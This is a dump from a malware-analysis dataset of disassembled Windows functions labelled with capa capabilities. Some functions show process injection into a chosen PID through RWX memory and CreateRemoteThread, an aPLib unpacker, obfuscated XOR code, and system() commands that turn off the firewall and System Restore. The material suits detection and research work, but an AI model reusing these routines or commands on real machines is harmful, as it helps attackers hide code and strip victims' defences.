joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x1400130c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011940
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x37ed0
call fcn.1400110b4
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xde24
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x37ef8]
mov rax, qword [0x140060008]
xor rax, rbp
mov qword [rbp + 0x37e88], rax
lea rcx, [0x1400650f3]
call fcn.14001138e
lea rax, [rbp + 0x10]
lea rcx, [0x14001acb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37801
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x37eb8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov edx, eax
lea rcx, str.Injecting_to_PID:__i
call fcn.1400111a4
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x37eb8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x37838], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x37801
xor edx, edx
mov rcx, qword [rbp + 0x37838]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x37878], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x37801
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x37878]
mov rcx, qword [rbp + 0x37838]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x37878]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x37838]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x37858], rax
mov rcx, qword [rbp + 0x37838]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.140011325
mov eax, edi
mov rcx, qword [rbp + 0x37e88]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x37e90]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014410
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014430
xor al, al
jmp 0x1400144b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014443
xor al, al
jmp 0x1400144b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001446d
xor al, al
jmp 0x1400144b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014481
xor al, al
jmp 0x1400144b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014493
xor al, al
jmp 0x1400144b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400144af
xor al, al
jmp 0x1400144b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140e0c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140e0c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e0c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e0c06f
add dl, dl
jne 0x140e0c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e0c0f6
xor eax, eax
add dl, dl
jne 0x140e0c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e0c1ad
add dl, dl
jne 0x140e0c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e0c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e0c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e0c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e0c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e0c07e
mov eax, 1
add dl, dl
jne 0x140e0c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e0c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e0c0fb
sub eax, ebx
mov ebx, 1
jne 0x140e0c14c
mov ecx, 1
add dl, dl
jne 0x140e0c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e0c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e0c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e0c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e0c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e0c15d
cmp eax, 0x7d00
jae 0x140e0c19b
cmp eax, 0x500
jb 0x140e0c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0c07e
cmp eax, 0x7f
ja 0x140e0c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e0c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e0c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400031c0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0xb8
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xa0], 0x45a6a2de
mov qword [rsp + 0x60], 0x6c6e5d1
mov r8d, dword [rsp + 0xb4]
mov r9d, r8d
sub r9d, 0x67e27a73
mov dword [rsp + 0xb4], r9d
mov qword [rsp + 0x88], 0x894cc68
mov r9d, r8d
xor r9d, 0xffffffff
mov dword [rsp + 0xb4], r9d
mov r10, qword [rsp + 0xa0]
add r10, 0x2f4176eb
mov qword [rsp + 0x78], r10
mov r10, qword [rsp + 0xa0]
xor r10, 0x62a8d592
cmp qword [rsp + 0x78], r10
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], r8d
jae 0x1400033bc
xor eax, eax
mov ecx, eax
mov qword [rsp + 0x38], rcx
mov rdx, qword [rsp + 0x38]
call fcn.1400031c0
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0x98]
mov ecx, dword [rax + 0x54]
mov r8d, ecx
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
add rsp, 0xb8
pop rdi
pop rsi
jmp fcn.140003f00
mov eax, 0x5a3ebbf7
mov ecx, eax
mov eax, 0x45a6a2f6
mov edx, eax
mov eax, dword [rsp + 0x44]
xor eax, eax
sub rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x98]
mov dword [rsp + 0xb4], eax
mov eax, dword [rsp + 0x44]
add eax, 0x45ccc99f
imul r8, r8, 0x19e1d096
mov dword [rsp + 0xb4], eax
add r9, rdx
mov qword [rsp + 0x68], r9
cmp rcx, r8
jb 0x140003447
jmp 0x1400032a9
mov ecx, 0x584cb398
mov rax, qword [rsp + 0x70]
mov edx, dword [rax + 0xc]
mov r8d, edx
mov edx, dword [rsp + 0x44]
shr edx, cl
mov r9, qword [rsp + 0x50]
add r9, r8
mov r8, qword [rsp + 0x90]
mov dword [rsp + 0xb4], edx
mov r10, qword [rsp + 0x48]
xor r10, 0x751dccf5
mov edx, dword [rax + 0x10]
mov r11d, edx
mov qword [rsp + 0xa8], r10
mov edx, dword [rsp + 0x44]
xor edx, edx
mov dword [rsp + 0xb4], edx
mov edx, dword [rax + 0x14]
mov r10d, edx
mov rsi, qword [rsp + 0x58]
add rsi, r10
mov rcx, r9
mov rdx, rsi
mov qword [rsp + 0x30], r8
mov r8, r11
mov qword [rsp + 0x28], rax
call fcn.140003f00
mov rcx, qword [rsp + 0x80]
movzx edi, word [rcx]
mov ecx, edi
mov rdx, qword [rsp + 0x30]
add rdx, 1
mov r8, qword [rsp + 0x28]
add r8, 0x28
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x70], r8
cmp rdx, rcx
mov qword [rsp + 0x20], rax
jb 0x140003303
jmp 0x140003283
mov rcx, qword [rsp + 0x58]
call fcn.140003720
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
add rax, 6
mov qword [rsp + 0x80], rax
mov edx, dword [rsp + 0x44]
xor edx, 0xffffffff
mov dword [rsp + 0xb4], edx
mov rax, qword [rsp + 0x80]
cmp word [rax], 0
je 0x140003283
jmp 0x1400032a9
mov eax, 0x44a993c9
mov ecx, eax
mov rdx, qword [rsp + 0x98]
movzx eax, word [rdx + 0x14]
mov edx, eax
add rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x48]
sub rcx, r8
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x70], rdx
jmp 0x140003303
cmp qword [rsp + 0x88], 0x750cd1db
jbe 0x140003407
jmp 0x140003283
Function at 0x140003460
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x30
lea rax, [fcn.140003460]
mov qword [rsp + 0x28], 0x6693a2a9
mov dword [rsp + 0x18], 0xf3cda68
mov dword [rsp + 0x14], 0x76c43555
mov qword [rsp], rax
jmp 0x1400034b7
mov eax, dword [rsp + 0x1c]
add eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 8]
movsxd rcx, dword [rcx + 0x3c]
mov rdx, qword [rsp + 8]
mov dword [rsp + 0x1c], eax
cmp dword [rdx + rcx], 0x4550
jne 0x1400034f6
mov rax, qword [rsp + 8]
add rsp, 0x30
ret
mov eax, 0x30e53b03
mov rcx, qword [rsp]
mov qword [rsp + 8], rcx
mov edx, dword [rsp + 0x14]
sub eax, dword [rsp + 0x18]
mov dword [rsp + 0x10], edx
cmp dword [rsp + 0x14], eax
jb 0x1400034d7
cmp dword [rsp + 0x10], 0x3f22debf
je 0x1400034ad
mov qword [rsp + 0x20], 0xffffffffcc5b2e77
mov rax, qword [rsp + 8]
cmp word [rax], 0x5a4d
je 0x14000348a
mov rax, qword [rsp + 8]
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffff996c4d57
add rax, rcx
mov qword [rsp + 0x20], 0x173fd6d5
and rax, 0xfffffffffffff000
mov qword [rsp], rax
jmp 0x1400034b7
Function at 0x1400111ea
Capabilities:
Terminate process

Disassembly:
jmp 0x140014f30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c60
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c73
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c9d
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012cb1
xor al, al
jmp 0x140012ce1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012cc3
xor al, al
jmp 0x140012ce1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012cdf
xor al, al
jmp 0x140012ce1
mov al, 1
add rsp, 0x38
ret
Function at 0x140002e90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xor edi, edi
mov rcx, qword [rcx + 0x10]
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140002eca
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [0x1400238d5]
lea rcx, [rsp + 0x48]
call fcn.14000f020
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400022f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140002f3b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 8
cmovae rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rdx, qword [rsp + 0x88]
cmp eax, 0xffffffff
jne 0x140003025
cmp rdx, 8
jb 0x140002fa3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030fd
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025660]
movdqu xmmword [rsp + 0x80], xmm0
mov word [rsp + 0x70], di
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140002ff3
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140002fee
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003104
mov rcx, r8
call fcn.14001f0bc
xor al, al
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14001f060
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
test al, 0x10
je 0x1400030bd
cmp rdx, 8
jb 0x14000306a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003065
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030fd
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025660]
movdqu xmmword [rsp + 0x80], xmm0
mov word [rsp + 0x70], di
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400030b6
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400030b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003104
mov rcx, r8
call fcn.14001f0bc
mov al, 1
jmp 0x140002ff5
cmp rdx, 8
jb 0x140002fa3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400040c0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
mov rcx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xe
jb 0x14000429e
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000410b
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xe
lea r9, str.taskkill__PID
lea rcx, [rsp + 0x48]
call fcn.14000f020
nop
mov r8d, 3
lea rdx, [0x1400238fc]
lea rcx, [rsp + 0x48]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400041c2
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14000421f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000421a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000421a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000426b
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140004266
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004297
mov rcx, r8
call fcn.14001f0bc
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14001f060
add rsp, 0xa0
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001940
nop
int3
Function at 0x140006270
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
mov rcx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x28
jb 0x14000644e
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400062bb
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x28
lea r9, str.netsh_advfirewall_set_allprofiles_state
lea rcx, [rsp + 0x48]
call fcn.14000f020
nop
mov r8d, 0xa
lea rdx, str.__nul_2_1
lea rcx, [rsp + 0x48]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140006372
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000636d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000636d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x1400063cf
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000641b
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140006416
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006447
mov rcx, r8
call fcn.14001f0bc
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14001f060
add rsp, 0xa0
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001940
nop
int3
Function at 0x140008e80
Capabilities:
Disable system restore features via registry on windows
Execute command
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
mov qword [rbp - 1], rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140008eb1
mov rcx, qword [rcx]
mov r8, qword [rbx + 0x10]
cmp r8, 7
jne 0x140009043
lea rdx, str.DISABLE
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140009043
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov qword [rbp + 0x37], 1
mov qword [rbp + 0x3f], 0xf
mov word [rbp + 0x27], 0x26
mov qword [rsp + 0x30], 1
lea rax, [rbp + 0x27]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x4c
lea r9, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_NTSystemRestore___f___nul
lea rcx, [rbp - 0x21]
call fcn.14000f020
nop
mov r8d, 0x6d
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_NTSystemRestore___v__DisableSR___t_REG_DWORD__d_1__f___nul
lea rcx, [rbp - 0x21]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x17], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x140008fa1
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140008ff3
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x140009043
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000903d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000903d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140009079
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140009074
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400090a9
mov rcx, r8
call fcn.14001f0bc
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14001f060
mov rbx, qword [rsp + 0xd8]
add rsp, 0xc0
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3